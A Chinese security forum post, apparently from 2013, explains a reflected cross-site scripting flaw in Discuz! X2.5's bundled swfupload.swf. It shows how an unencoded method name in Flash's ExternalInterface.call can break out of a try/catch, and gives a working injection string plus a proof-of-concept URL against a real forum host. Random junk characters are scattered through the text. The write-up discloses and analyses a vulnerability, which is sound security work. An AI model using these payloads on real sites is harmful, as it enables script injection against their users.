找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1987|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
上回我们说" {2 a* M6 M' |! W2 ]4 ~

  H% I* n' c/ Q' J- s1 Q( `flash.external.ExternalInterface.call($methodName, $parameter)( P4 G+ f5 e; E, Y! L& e0 W
在浏览器中执行的是
1 [1 v: }: m1 A' `3 a1 S* Y" q: H% D3 t
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
$ U# V' A; x+ Z' f4 L3 Y对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如6 U9 `8 O+ t( I$ {6 {

) {, F& e. C$ k6 w& Nflash.external.ExternalInterface.call("object."+$methodName, $parameter)
; j2 n, C( n" d3 h1 ^/ [$methodName = a())}catch(e){alert(/xss/)}//: Q6 a  m: G! `* t) }9 a
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
, ~9 p; E6 E$ `8 B3 m5 X2 m, |) v$ f2 |; n- g
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }3 c: W3 ]( p8 z  R

  [  H7 U) A  ?. a! c这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
% B. i0 O4 j$ {* R  v; ~. }( t杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
3 h5 f( l$ K' O
) b; z$ |& n4 |1 J
0 J* {$ ~: h# P" ^+ t  \: l4 i! U+ |/ i
漏洞文件:upload\static\image\common\swfupload.swf" d; V- Q% J) [7 L
& n- {) z& b) w  r$ N
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
5 l8 F. W& T7 [0 u' |1 r1 L( [$ O" u- ]0 b3 B7 t
$ W8 |  Q# \6 j% ^9 l- [& l0 |
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
1 n. `& D; G5 I, P! T3 ^9 n( P/ M- S6 ]0 m4 E
) A2 _/ x8 e/ f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表